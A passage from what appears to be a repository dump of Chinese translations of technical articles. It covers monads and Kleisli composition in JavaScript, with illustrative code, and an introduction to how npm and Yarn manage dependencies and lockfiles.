Monad(b)`\n\n这些都是描述**函数组合**的不同方式。函数存在的真正目的就是让你去组合他们，编写应用。函数帮助你将复杂问题划分为若干简单问题，从而能够分而治之的处理这些小问题，在应用中，不同的函数组合，就带来了解决不同问题的方式，从而让你无论面对什么大的问题，都能通过组合进行解决。\n\n理解函数及如何正确使用函数的关键在于更深刻地认识函数组合。\n\n函数组合是为数据流创建一个包含有若干函数的管道。在管道入口，你导入数据，在管道出口，你获得了加工好的数据。但为了让管道工作，管道上的每个函数接受的输入应当与上一步函数的输出拥有同样的数据类型。\n\n组合简单函数非常容易，因为函数的输入输出都有整齐划一的类型。只需要匹配输出类型 `b` 为 输入类型 `b` 即可：\n\n```\ng:           a => b\nf:                b => c\nh = f(g(a)): a    =>   c\n```\n\n如果你的映射是 `F(a) => F(b)`，使用 Functor 的组合也很容易完成，因为这个组合中的数据类型也是整齐划一的：\n\n```\ng:             F(a) => F(b)\nf:                     F(b) => F(c)\nh = f(g(Fa)):  F(a)    =>      F(c)\n```\n\n但是如果你想要从 `a => F(b)`，`b => F(c)` 这样的形式进行函数组合，你就需要 Monad。我们把 `F()` 换为 `M()` 从而让你知道 Monad 该出场了：\n\n```\ng:                  a => M(b)\nf:                       b => M(c)\nh = composeM(f, g): a    =>   M(c)\n```\n\n等等，在这个例子中，管道中流通在函数之间的数据类型没有整齐划一。函数 `f` 接收的输入是类型 `b`，但是上一步中，`f` 从 `g` 处拿到的类型却是 `M(b)`（装有 `b` 的 Monad）。由于这一不对称性，`composeM()` 需要展开 `g` 输出的 `M(b)`，把获得的 `b` 传给 `f`，因为 `f` 想要的类型是 `b` 而不是 `M(b)`。这一过程（通常称为 `.bind()` 或者  `.chain()`） 就是 flatten 和 map 发生的地方。 \n\n下面的例子中展现了 flatten 的过程：从 `M(b)` 中取出 `b` 并传递给下一个函数：\n\n```\ng:             a => M(b) flattens to => b\nf:                                      b           maps to => M(c)\nh composeM(f, g):\n               a       flatten(M(b)) => b => map(b => M(c)) => M(c)\n```\n\nMonad 使得类型整齐划一，从而使 `a => M(b)` 这样，发生了类型提升的函数也可被组合。\n\n在上面的图示中，`M(b) => b` 的 flatten 操作及 `b => M(c)` 的 map 操作都在 `chain` 方法内部完成了。`chain` 的调用发生在了 `composeM()` 内部。在应用层面，你不需要关注内在的实现，你只需要用和组合一般函数相同的手段组合返回 Monad 的函数即可。\n\n由于大多数函数都不是简单的 `a => b` 映射，因此 Monad 是需要的。一些函数需要处理副作用（如 Promise，Stream），一些函数需要操纵分支（Maybe），一些函数需要处理异常（Either），等等。\n\n这儿有一个更加具体的例子。假如你需要从某个异步的 API 中取得某用户，之后又将该用户传给另一个异步 API 以执行某个计算：\n\n```\ngetUserById(id: String) => Promise(User)\nhasPermision(User) => Promise(Boolean)\n```\n\n让我们撰写一些函数来验证 Monad 的必要性。首先，创建两个工具函数，`compose()` 和 `trace()`：\n\n```\nconst compose = (...fns) => x => fns.reduceRight((y, f) => f(y), x);\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n```\n\n之后，尝试进行函数组合解决问题（根据 Id 获得用户，进而判断用户是否具有某个权限）：\n\n```\n{\n  const label = 'API call composition';\n  // a => Promise(b)\n  const getUserById = id => id === 3 ?\n    Promise.resolve({ name: 'Kurt', role: 'Author' }) :\n    undefined\n  ;\n  // b => Promise(c)\n  const hasPermission = ({ role }) => (\n    Promise.resolve(role === 'Author')\n  );\n  // 尝试组合上面两个任务，注意：这个例子会失败\n  const authUser = compose(hasPermission, getUserById);\n  // 总是输出 false\n  authUser(3).then(trace(label));\n}\n```\n\n当我们尝试组合 `hasPermission()` 和 `getUserById()` 为 `authUser()` 时，我们遇到了一个大问题，由于 `hasPermission()` 接收一个 `User` 对象作为输入，但却得到的是 `Promise(User)`。为了解决这个问题，我们需要创建一个特别地组合函数 `composePromises()` 来替换掉原来的 `compose()`，这个组合函数知道使用 `.then()` 去完成函数组合：\n\n```\n{\n  const composeM = chainMethod => (...ms) => (\n    ms.reduce((f, g) => x => g(x)[chainMethod](f))\n  );\n  const composePromises = composeM('then');\n  const label = 'API call composition';\n  // a => Promise(b)\n  const getUserById = id => id === 3 ?\n    Promise.resolve({ name: 'Kurt', role: 'Author' }) :\n    undefined\n  ;\n  // b => Promise(c)\n  const hasPermission = ({ role }) => (\n    Promise.resolve(role === 'Author')\n  );\n  // 组合函数，这次大功告成了！\n  const authUser = composePromises(hasPermission, getUserById);\n  authUser(3).then(trace(label)); // true\n}\n```\n\n稍后我们会讨论 `composeM()` 的细节。\n\n再次牢记 Monad 的实质：\n\n- 函数 map： `a => b`\n- 具有 Functor context 的 map： `Functor(a) => Functor(b)`\n- 具备 Monad context，且需要 flatten 的 map：`Monad(Monad(a)) => Monad(b)`\n\n在这个例子中，我们的 Monad 是 Promise，所以当我们组合这些返回 Promise 的函数时，对于 `hasPermission()` 函数，它得到的是 `Promise(User)` 而不是 Promise 中装有的 `User` 。注意到，如果你去除了 `Monad(Monad(a))` 中外层 `Monad()` 的包裹，就剩下了 `Monad(a) => Monad(b)`，这就是 Functor 中的 `.map()`。如果我们再有某种手段能够展开 `Monad(x) => x` 的话，就走上正轨了。\n\n## Monad 的构成\n\n每个 Monad 都是基于一种简单的对称性 -- 一个将值包裹到 context 的方式，以及一个取消 context 包裹，将值取出的方式：\n\n- **Lift/Unit**：将某个类型提升到 Monad 的 context 中：`a => M(a)`\n- **Flatten/Join**：去除 context 包裹：`M(a) => a`\n\n由于 Monad 也是 Functor，因此它们能够进行 map 操作：\n\n- **Map**：进行保留 context 的 map：`M(a) -> M(b)`\n\n组合 flatten 以及 map，你就能得到 chain -- 这是一个用于 monad-lifting 函数的函数组合，也称之为 Kleisli 组合，名称来自 [Heinrich Kleisli](https://en.wikipedia.org/wiki/Heinrich_Kleisli)：\n\n- **FlatMap/Chain**： flatten 以后再进行 map：`M(M(a)) => M(b)`\n\n对于 Monad 来说，`.map()` 方法通常从公共 API 中省略了。type lift 和 flatten 不会显示地要求 `.map()` 调用，但你已经有了 `.map()` 所需要的全部。如果你能够 lift（也称为 of/unit） 以及 chain（也称为 bind/flatMap），你就能完成 `.map()`，即完成 Monad 中值的映射：\n\n```\nconst MyMonad = value => ({\n  // <... 这里可以插入任意的 chain 和 of ...>\n  map (f) {\n    return this.chain(a => this.constructor.of(f(a)));\n  }\n});\n```\n\n所以，如果你为 Monad 定义了 `.of()` 和 `.chain()` 或者 `.join()` ，你就可以推导出 `.map()` 的定义。\n\nlift 可以由工厂函数、构造方法或者  `constructor.of()` 完成。在范畴学中，lift 叫做 “unit”。list 完成的是将某个类型提升到 Monad context。它将某个 `a` 转换到了一个包裹着 `a` 的 Monad。\n\n在 Haskell 中，很令人困惑的是，lift 被叫做 `return`，一般我们认为的 return 指的都是函数返回。我仍有意将它称之为 “lift” 或者 “type lift”，并在代码中使用 `.of()` 完成 lift，这样更符合我们的理解。\n\nflatten 过程通常被叫做 `flatten()` 或者 `join()`。多数时候，我们用不上 `flatten()` 或者 `join()`，因为它们内联到了 `.chain()` 或者 `.flatMap()` 中。flatten 通常会配合上 map 操作在组合中使用，因为去除 context 包裹以及 map 都是组合中 `a => M(a)` 需要的。\n\n去除某类 Monad 可能是非常简单的。例如 Identity Monad，Identity Monad 的 flatten 过程类似它的 `.map()` 方法，只不过你不用将返回的值提升回 Monad context。Identity Monad 去除一层包裹的例子如下：\n\n```\n{ // Identity monad\nconst Id = value => ({\n  // Functor Maping\n  // 通过将被 map 的值传入到 type lift 方法 .of() 中\n  // 使得 .map() 维持住了 Monand context 包裹：\n  map: f => Id.of(f(value)),\n  // Monad chaining\n  // 通过省略 .of() 进行的类型提升\n  // 去除了 context 包裹，并完成 map\n  chain: f => f(value),\n  // 一个简便方法来审查 context 包裹的值：\n  toString: () => `Id(${ value })`\n});\n// 对于 Identity Monad 来说，type lift 函数只是这个 Monad 工厂的引用\nId.of = Id;\n```\n\n但是去除 context 包裹也会与诸如副作用，错误分支，异步 IO 这些怪家伙打交道。在软件开发过程中，组合是真正有意思的事儿发生的地方。\n\n例如，对于 Promise 对象来说，`.chain()` 被称为 `.then()`。调用 `promise.then(f)` 不会立即 `f()`。取而代之的是，`then(f)` 会等到 Promise 对象被 resolve 后，才调用 `f()` 进行 map，这也是 then 命名的来由：\n\n```\n{\n  const x = 20;                 // 值\n  const p = Promise.resolve(x); // context\n  const f = n => \n    Promise.resolve(n * 2);     // 函数\n  const result = p.then(f);     // 应用程序\n  result.then(\n    r => console.log(r)         // 结果：40\n  );\n}\n```\n\n对于 Promise 对象，`.then()` 就用来替代 `.chain()`，但其实二者完成的是同一件事儿。\n\n可能你听到说 Promise 不是严格意义上的 Monad，这是因为只有 Promise 包裹的值是 Promise 对象时，`.then()` 才会去除外层 Promise 的包裹，否则它会直接做 `.map()`，而不需要 flatten。\n\n但是由于 `.then()` 对 Promise 类型的值和其他类型的值处理不同，因此，它不会严格遵守数学上 Functor 和 Monad 对任何值都必须遵守的定律。实际上，只要你知道 `.then()` 在处理不同数据类型上的差异，你也可以把它当做是 Monad。只需要留意一些通用组合工具可能无法工作在 Promise 对象上。\n\n## 构建 monadic 组合（也叫做 Kleisli 组合）\n\n让我们深入到 `composeM` 函数里面看看，这个函数我们用来组合 promise-lifting 的函数：\n\n```\nconst composeM = method => (...ms) => (\n  ms.reduce((f, g) => x => g(x)[method](f))\n);\n```\n\n藏在古怪 reducer 里面的是函数组合的代数定义：`f(g(x))`。如果我们想要更好地理解 `composeM`，先看看下面的代码：\n\n```\n{\n  // 函数组合的算数定义：\n  // (f ∘ g)(x) = f(g(x))\n  const compose = (f, g) => x => f(g(x));\n  const x = 20;    // 值\n  const arr = [x]; // 值的容器\n  // 待组合的函数\n  const g = n => n + 1;\n  const f = n => n * 2;\n  // 下面代码证明了 .map() 完成了函数组合\n  // 对 map 的链式调用完成了函数组合\n  trace('map composes')([\n    arr.map(g).map(f),\n    arr.map(compose(f, g))\n  ]);\n  // => [42], [42]\n}\n```\n\n这段代码意味着我们可以撰写一个泛化的组合工具来服务于任何能够应用  `.map()` 方法的 Fucntor，例如数组等：\n\n```\nconst composeMap = (...ms) => (\n  ms.reduce((f, g) => x => g(x).map(f))\n);\n```\n\n这个函数是 `f(g(x))` 另一个表述形式。给定任意数量的、发生类型提升的函数 `a -> Functor(b)`，迭代待组合的函数，它们接受输入 `x`，并通过 `.map(f)` 完成 map 和 type lift。`.reduce()` 方法接受一个两参数函数：一个参数是累加器（本例中是 `f`，表示组合后的函数），另一个参数是当前值（本例中是当前函数 `g`）。\n\n每次迭代都返回了一个新的函数 `x => g(x).map(f)`，这个新函数也是下一次迭代中的 `f`。我们已经证明 `x => g(x).map(f)` 等同于将 `compose(f, g)(x)` 的值提升到 Functor 的 context 中。换言之，即等同于对 Functor 中的值应用 `f(g(x))`，在本例中，这指的是对原数组中的值应用组合后的函数进行 map。\n\n> 性能警告：我不建议对数组这么做。以这种方式组合函数将要求对整个数组进行多重迭代，假如数组规模很大，这样做的时间开销很大。对于数组进行 map，要么进行简单函数组合 `a -> b`，再在数组上一次性应用组合后的函数，要么优化 `.reducer()` 的迭代过程，要么直接使用一个 transducer。\n\n> 译注：transducer 是一个函数，其名称复合了 transform 和 reducer。transducer 即为每次迭代指明了 tramsform 的 reducer：\n> \n> ```\n> const increment = x => x + 1\n> const square = x => x * x\n> const transducer = R.map(R.compose(square, increment))\n> const data = [1, 2, 3]\n> const initialData = [0]\n> const accumulator = R.flip(R.append)\n> R.transduce(transducer, accumulator, initialData, data) // => [0, 4, 9, 16]\n> ```\n> \n> 上述代码相当于：\n> \n> ```\n> const increment = x => x + 1\n> const square = x => x * x\n> const transform = R.compose(square, increment)\n> const data = [1, 2, 3]\n> const initialData = [0]\n> data.reduce((acc, curr) => acc.concat([transform(curr)]), initialData) // => [0, 4, 9, 16]\n> ```\n\n> 参考资料： [ramda `.transduce()`](http://ramdajs.com/docs/#transduce)。\n\n对于同步任务，数组的映射函数都是立即执行的，因此需要关注性能。然而，多数的异步任务都是延迟执行的，并且这部分任务通常需要应对异常或者空值这样的令人头痛分支状况。\n\n这样的场景对 Monad 再合适不过了。在组合链中，当前 Monad 需要的值需要上一步异步任务或者分支完成时才能获得。在这些情景下，你无法在组合外部拿到值，因为它们被一个 context 包裹住了，组合过程是 `a => Monad(b)` 而不是 `a => b`。\n\n无论何时你的一个函数接收了一些数据，触发了一个 API，返回了对应的值，另一个函数接收了这些值，触发了另一个 API，并且返回了这些数据的计算结果，你会想要使用 `a => Monad(b)` 来组合这些函数。由于 API 调用是异步的，你会需要将返回值包上类似 Promise 或者 Observable 这样的 context。换句话说，这些函数的签名会是 `a -> Monad(b)` 以及 `b -> Monad(c)`。\n\n组合 `g: a -> b`, `f: b -> c` 类型的函数是很简单的，因为输入输出是整齐划一的。`h: a -> c` 这个变化只需要 `a => f(g(a))`。\n\n组合 `g: a -> Monad(b)`, `f: b -> Monad(c)` 就稍微有些困难。`h: a -> Monad(c)` 这个变化不能通过 `a => f(g(a))` 完成，因为 `f()` 需要的是 `b`，而不是 `Monad(b)`。 \n\n让我们看一个更具体的例子，我们组合了一系列异步任务，它们都返回 Promise 对象：\n\n```\n{\n  const label = 'Promise composition';\n  const g = n => Promise.resolve(n + 1);\n  const f = n => Promise.resolve(n * 2);\n  const h = composePromises(f, g);\n  h(20)\n    .then(trace(label))\n  ;\n  // Promise composition: 42\n}\n```\n\n怎么才能写一个 `composePromises()` 对异步任务进行组合，并获得预期输出呢？提示：你之前可能见到过。\n\n对的，就是我们提到过的 `composeMap()` 函数？现在，你只需要将其内部使用的 `.map()` 换成 `.then()` 即可，`Promise.then()` 相当于异步的 `.map()`。\n\n```\n{\n  const composePromises = (...ms) => (\n    ms.reduce((f, g) => x => g(x).then(f))\n  );\n  const label = 'Promise composition';\n  const g = n => Promise.resolve(n + 1);\n  const f = n => Promise.resolve(n * 2);\n  const h = composePromises(f, g);\n  h(20)\n    .then(trace(label))\n  ;\n  // Promise composition: 42\n}\n```\n\n稍微有些古怪的地方在于，当你触发了第二个函数 `f`，传给 `f` 的不是它想要的 `b`，而是 `Promise(b)`，因此 `f` 需要去除 Promise 包裹，拿到 `b`。接下来该怎么做呢？\n\n幸运的是，在 `.then()` 内部，已经拥有了一个将 `Promise(b)` 展平为 `b` 的过程了，这个过程通常称之为 `join` 或者 `flatten`。\n\n也许你已经留意到了 `composeMap()` 和 `composePromise()` 的实现几乎一样。因此我们创建一个高阶函数来为不同的 Monad 创建组合函数。我们只需要将链式调用需要的函数混入一个柯里化函数即可，之后，使用方括号包裹这个链式调用需要的方法名：\n\n```\nconst composeM = method => (...ms) => (\n  ms.reduce((f, g) => x => g(x)[method](f))\n);\n```\n\n现在，我们能针对性地为不同的 Monad 创建组合函数：\n\n```\nconst composePromises = composeM('then');\nconst composeMap = composeM('map');\nconst composeFlatMap = composeM('flatMap');\n```\n\n## Monda 定律\n\n在你开始创建你的 Monad 之前，你需要知道所有的 Monad 都要满足的一些定律：\n\n1. 左同一律： `unit(x).chain(f) ==== f(x)`（译注：将 `x` 提升到 Monad context 后，使用 `f()` 进行 map，等同于直接对 `x` 直接使用 `f` 进行 map）\n2. 右同一律： `m.chain(unit) ==== m`（译注：Monad 对象进行 map 操作的结果等于原对象 ）\n3. 结合律： `m.chain(f).chain(g) ==== m.chain(x => f(x).chain(g))`\n\n## 同一律（Identity Law）\n\n![左同一律及右同一律](https://cdn-images-1.medium.com/max/800/1*X_bUJJYudP8MlhN0FLEGKg.png)\n\n一个 Monad 也是一个 Functor。一个 Functor 是两个范畴之间一个态射（morphism）：`A -> B`，其中箭头符号即描述了态射。除了对象间显式的态射，每一个范畴中的对象也拥有一个指向自己的箭头。换言之，对于范畴中的每一个对象 `X`，存在着一个箭头 `X -> X`。该箭头称之为同一（identity）箭头，通常使用一个从自身出发并指回自身的弧形箭头表示。\n\n![同一态射](https://cdn-images-1.medium.com/max/800/1*3jcLj7wdwWaUJ22X2iT7OA.png)\n\n## 结合律（Associativity）\n\n结合律意味着我们不需要关心我们组合时在哪里放置括号。如果我们是在做加法，加法有结合律： `a + (b + c)` 等同于 `(a + b) + c`。这对于函数组合也同样适用： `(f ∘ g) ∘ h = f ∘ (g ∘ h)`。\n\n并且，这对于 Kleisli 组合仍然适用。对于这种组合，你应该从前往后地看，把组合运算 `chain` 当作是 `after` 即可：\n\n```\nh(x).chain(x => g(x).chain(f)) ==== (h(x).chain(g)).chain(f)\n```\n\n## Monda 的定律证明\n\n接下来我们证明同一 Monad 满足 Monad 定律：\n\n```\n{ // Identity monad\n  const Id = value => ({\n    // Functor Maping\n    // 通过将被 map 的值传入到 type lift 方法 .of() 中\n    // 使得 .map() 维持住了 Monand context 包裹：\n    map: f => Id.of(f(value)),\n    // Monad chaining\n    // 通过省略 .of() 进行的类型提升\n    // 去除了 context 包裹，并完成 map\n    chain: f => f(value),\n    // 一个简便方法来审查 context 包裹的值：\n    toString: () => `Id(${ value })`\n  });\n\n  // 对于 Identity Monad 来说，type lift 函数只是这个 Monad 工厂的引用\n  Id.of = Id;\n  const g = n => Id(n + 1);\n  const f = n => Id(n * 2);\n  // 左同一律\n  // unit(x).chain(f) ==== f(x)\n  trace('Id monad left identity')([\n    Id(x).chain(f),\n    f(x)\n  ]);\n  // Id Monad 左同一律: Id(40), Id(40)\n\n  // 右同一律\n  // m.chain(unit) ==== m\n  trace('Id monad right identity')([\n    Id(x).chain(Id.of),\n    Id(x)\n  ]);\n  // Id Monad right identity: Id(20), Id(20)\n\n  // 结合律\n  // m.chain(f).chain(g) ====\n  // m.chain(x => f(x).chain(g)  \n  trace('Id monad associativity')([\n    Id(x).chain(g).chain(f),\n    Id(x).chain(x => g(x).chain(f))\n  ]);\n  // Id monad associativity: Id(42), Id(42)\n}\n```\n\n## 总结\n\nMonad 是组合类型提升函数的方式：`g: a => M(b)`, `f: b => M(c)`。为了做到，Monad 必须在应用函数 `f()` 之前，展平 `M(b)` 取出 `b` 交给  `f()`。换言之，Functor 是你可以进行 map 操作的对象，而 Monad 是你可以进行 flatMap 操作的对象： \n\n- 函数 map： `a => b`\n- 具有 Functor context 的 map： `Functor(a) => Functor(b)`\n- 具备 Monad context，且需要 flatten 的 map：`Monad(Monad(a)) => Monad(b)`\n\n每个 Monad 都是基于一种简单的对称性 -- 一个将值包裹到 context 的方式，以及一个取消 context 包裹，将值取出的方式：\n\n- Lift/Unit：将某个类型提升到 Monad 的 context 中：`a => M(a)`\n- Flatten/Join：去除 context 包裹：`M(a) => a`\n\n由于 Monad 也是 Functor，因此它们能够进行 map 操作：\n\n- Map：进行保留 context 的 map：`M(a) -> M(b)`\n\n组合 flatten 以及 map，你就能得到 chain -- 这是一个用于 monad-lifting 函数的函数组合，也称之为 Kleisli 组合。\n\n- FlatMap/Chain： flatten 以后再进行 map：`M(M(a)) => M(b)`\n\nMonads 必须满足三个定律（公理），合在一起称之为 Monad 定律：\n\n- 左同一律：`unit(x).chain(f) ==== f(x)`\n- 右同一律：`m.chain(unit) ==== m`\n- 结合律：`m.chain(f).chain(g) ==== m.chain(x => f(x).chain(g)`\n\n每天撰写 JavaScript 代码的时候，你或多或少已经在使用 Monad 或者 Monad 类似的东西了，例如 Promise 和 Observable。Kleisli 组合允许你组合数据流逻辑时不用操心组合中的数据类型，也不用担心可能发生的副作用，条件分支，以及其他一些组合中去除 context 包裹时的细节，这些细节全部都藏在了 `.chain()` 操作中。\n\n这一切都让 Monad 在简化代码中扮演了重要角色。在阅读文本之前，兴许你还不明白 Monad 内部到底做了什么就已经从 Monad 中受益颇丰，现在，你对 Monad 底层细节也有了一定认识，这些细节也并不可怕。\n\n回到开头，我们不用再惧怕 Lady Monadgreen 的诅咒了。\n\n## 通过一对一辅导提升你的 JavaScript 技巧\n\nDevAnyWhere 能帮助你最快进阶你的 JavaScript 能力：\n\n- 直播课程\n- 灵活的课时\n- 一对一辅导\n- 构建真正的应用产品\n\n[![https://devanywhere.io/](https://cdn-images-1.medium.com/max/800/1*pskrI-ZjRX_Y0I0zZqVTcQ.png)](https://devanywhere.io/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/javascript-package-managers.md",
    "content": "> * 原文地址：[An introduction to how JavaScript package managers work](https://medium.freecodecamp.com/javascript-package-managers-101-9afd926add0a#.746vwi3oh)\n* 原文作者：[Shubheksha](https://medium.freecodecamp.com/@shubheksha)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[cyseria](https://github.com/cyseria)，[wild-flame](https://github.com/wild-flame)\n\n# JavaScript 包管理器工作原理简介\n\n\n不久前，Node.js 社区的负责人之一 [ashley williams](https://medium.com/u/1978eb600702) 发了一条这样的推特：\n\n>lockfiles = awesome for apps, bad for libs this is not a new thought, i'm confused why's everyone mad about this\n锁文件 = 棒（对于应用而言），坏（对于库而言），这不是一个新想法，我只是很困惑，为什么所有的人都因为这个很崩溃\n\n >— @ag_dubs\n\n\n\n我不是很懂她说的是什么，所以我决定去深入钻研下，学习一些包管理器的工作机制。\n\n这是个对的选择，因为 JavaScript 管理器这个大组织中出现了一个新成员，叫做 [Yarn](https://yarnpkg.com/)，刚刚出现，就引发了很多讨论。\n\n所以我利用这个机会，也来理解一下 [Yarn 是怎样和 npm 区分开来的，为什么要这样](https://code.facebook.com/posts/1840075619545360/yarn-a-new-package-manager-for-javascript/)。\n\n我在研究这个的时候觉得很有意思，真希望很久以前就这么做了。所以我写了篇关于 npm 和 Yarn 的简单介绍，来分享我学到的一些东西。\n\n让我们从一些定义开始：\n\n#### 什么是包？\n\n包是一段可以复用的代码，这段代码可以从全局注册表下载到开发者的本地环境。每个包可能会，也可能不会依赖于别的包。\n\n#### **什么是包管理器？**\n\n简单地说，包管理器是一段代码，它可以让你管理**依赖**（你或者他人写的外部代码），你的项目需要这些依赖来正确运行。\n\n很多包管理器在处理你项目的以下部分：\n\n#### **项目代码**\n\n项目代码即你的项目中的代码，你需要为它管理不同的依赖。通常来说，所有的代码都被放入像 Git 这样的版本控制系统里。\n\n#### **Manifest 资源配置文件（Manifest file）**\n\nManifest 资源配置文件指的是记录你的所有依赖（需要管理的包）的文件。它也保存了你项目的元数据（metadata）。在 JavaScript 的世界中，这个文件就是你的 `[package.json](https://docs.npmjs.com/files/package.json)`。\n\n#### **依赖代码**\n\n依赖代码指组成你的依赖的代码。在应用的生命周期里，这段代码不应被更改，在它被需要的时候，也应该能被在内存里的项目代码所访问。\n\n#### **锁文件（Lock file）**\n\n锁文件是由包管理器自动生成的。它包含了重现全部的依赖源码树需要的所有信息、你的项目依赖中的所有信息，以及它们各自的版本。\n\n现在值得强调的是，Yarn 使用了锁文件，而 npm 没有。我们会谈到这种差别导致的一些后果。\n\n既然我已经向你介绍了包管理器这部分，现在我们来讨论依赖本身。\n\n### 扁平依赖（Flat Dependencies）VS 嵌套依赖（Nested Dependencies）\n\n为了理解扁平依赖和嵌套依赖的区别，让我们试着可视化你项目中的依赖树。\n\n记住，你项目中的依赖也可能依赖于它自己。这些依赖也可能会相应地有一些共同的依赖。\n\n为了让这个更清楚，我们表达为，我们的应用依赖于依赖 A、B 和 C，C 依赖于 A。\n\n#### **扁平依赖**\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*QFSdXpqBdeuJIJDzr0KfZg.png)\n\n\n\n[扁平关系下的依赖关系图](http://maxogden.com/nested-dependencies.html)\n\n\n\n正如图中展示的，应用（app）和 C 将 A 作为它们的依赖。为了在扁平依赖场景中解析依赖，你的包管理器只需要遍历一层依赖。\n\n长的故事变短了——你只能拥有你的源码树里的特定包的一个版本，因为对于你的所有依赖，有一个公共的命名空间。\n\n假设包 A 升级到版本 2.0，如果你的 app 与版本 2.0 兼容，但是包 C 不与其兼容的话，我们需要两个版本的包 A，用来让你的 app 正常工作。这就是传说中的 **依赖地狱（Dependency Hell）**。\n\n#### **嵌套依赖**\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*GWq1l9Mxe0k7teuJCIOlYw.png)\n\n\n\n[嵌套关系下的依赖关系图](http://maxogden.com/nested-dependencies.html)\n\n\n\n曾经简单的处理依赖地狱的方法是有两个不同版本的包 A - 版本 1.0 和版本 2.0。\n\n这个时候，自然需要嵌套依赖出场。在嵌套依赖的情况下，所有的依赖可以将它自身的依赖从其它依赖中独立出来，独立到另一个命名空间里。\n\n为了解析依赖，包管理器需要遍历多层。\n\n我们可以在这样的场景下拥有多份单个依赖的副本。\n\n但是就像你可能已经猜到的那样，这个也会导致一些问题。如果我们将另一个包——也就是包 D——加入依赖，它也同样依赖于包 A 的版本 1.0 呢？\n\n所以在这种场景下，我们可以用包 A 的版本 1.0 的**重复**来结束。这可能会导致一些混乱，并且占用一些不必要的磁盘空间。\n\n一种解决以上问题的方法是拥有包 A 的两个版本，v1.0 和 v2.0，但只有一份 v1.0 的副本，这样我们就可以避免不必要的重复。这就是 [npm v3 中采取的做法](https://docs.npmjs.com/how-npm-works/npm3-dupe)，相当多地减少了遍历依赖树消耗的时间。\n\n就像 [ashley williams](https://medium.com/u/1978eb600702) 阐述的那样，[npm v2 用一种嵌套的方式来安装依赖](https://docs.npmjs.com/how-npm-works/npm2)。这就是 npm v3 相较而言快多了的原因。\n\n### **确定性 VS. 不确定性**\n\n在包管理器里另一个重要概念是确定性。在 JavaScript 生态系统的大背景下，确定性意味着所有拥有同一个 `package.json` 文件的电脑都将在它们的 `node_modules` 文件夹里有一个完全相同的依赖源码树。\n\n但是如果是一个具有不确定性的包管理器，那么就不能保证了。即使你在两台电脑上有一个完全一样的 `package.json` ，它们的 `node_modules` 也可能不一样。\n\n确定性总是被喜爱的，它能够帮助你避免 **「工作在自己的机器上，但是当部署的时候总会坏掉」** 的问题，这种问题可能发生在不同电脑上有不同的 `node_modules` 时。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*i4QK4sSGX7Q4RRgOytkSuw.jpeg)\n\n\n\n最新潮的开发人员也会遇到不确定性的问题。\n\n\n\n[npm v3 默认的是不确定的安装](https://docs.npmjs.com/how-npm-works/npm3-nondet)，但它提供了一个 [shrinkwrap 特性](https://docs.npmjs.com/cli/shrinkwrap) 来让安装变得有确定性的。这将所有在磁盘上的包以及它们各自的版本，写入一个锁文件。\n\nYarn 提供了具有确定性的安装，因为它使用了一个锁文件，在应用层递归地锁住所有的依赖。所以如果包 A 依赖于 包 C 的 v1.0，包 B 依赖于包 A 的 v2.0，这两个依赖都会被分别写入锁文件。\n\n当你知道你工作时使用的依赖的确切版本，你可以轻松地重现构建，然后追踪并且隔离 bug。\n\n> 为了使得它更清晰，你的 `package.json` 表达的是在项目中**「我想要的」**，而你的锁文件表达的是依赖中**「我有的」**。— [Dan Abramov](https://medium.com/u/a3a8af6addc1)\n\n所以我们可以回到最初的问题，也就是使得我开始这段探索之路的问题：**为什么对于应用，锁文件是一个好的实践，但是对于库来说，不是呢？**\n\n最主要的原因是你实际上要部署应用。所以你需要拥有具有确定性的依赖，从而在不同的环境中重现你的构建——测试、前进和生产。\n\n但是对于库来说就不一样啦，库不是被部署的，它们是用来构建其它库，或者在自身的应用中使用的。库需要很灵活，所以它们可以最大化兼容性。\n\n如果我们对于所有我们在应用中用到的依赖（库）都有个锁文件（lockfile），并且应用被强制遵循锁文件，将没有办法使得所有的地方靠近我们之前提到的扁平依赖结构，和 [语义化版本（semantic versioning）](http://semver.org/) 灵活性，这种灵活性是依赖解析最好的用例场景。\n\n这就是原因：如果你的应用需要递归地遵守你的所有依赖的锁文件，所有的地方都将会有版本冲突——即使在相对小的项目中。由于 [语义化版本（semantic versioning）](https://docs.npmjs.com/getting-started/semantic-versioning)，这将导致大规模无法避免的重复。\n\n这并不是说库不能拥有锁文件，它们当然可以。但是主要的重点是像 Yarn 和 npm 这样的包管理器，它们也是这些库的使用者，并且会无视它们的锁文件。\n"
  },
  {
    "path": "TODO/javascript-start-up-performance.md",
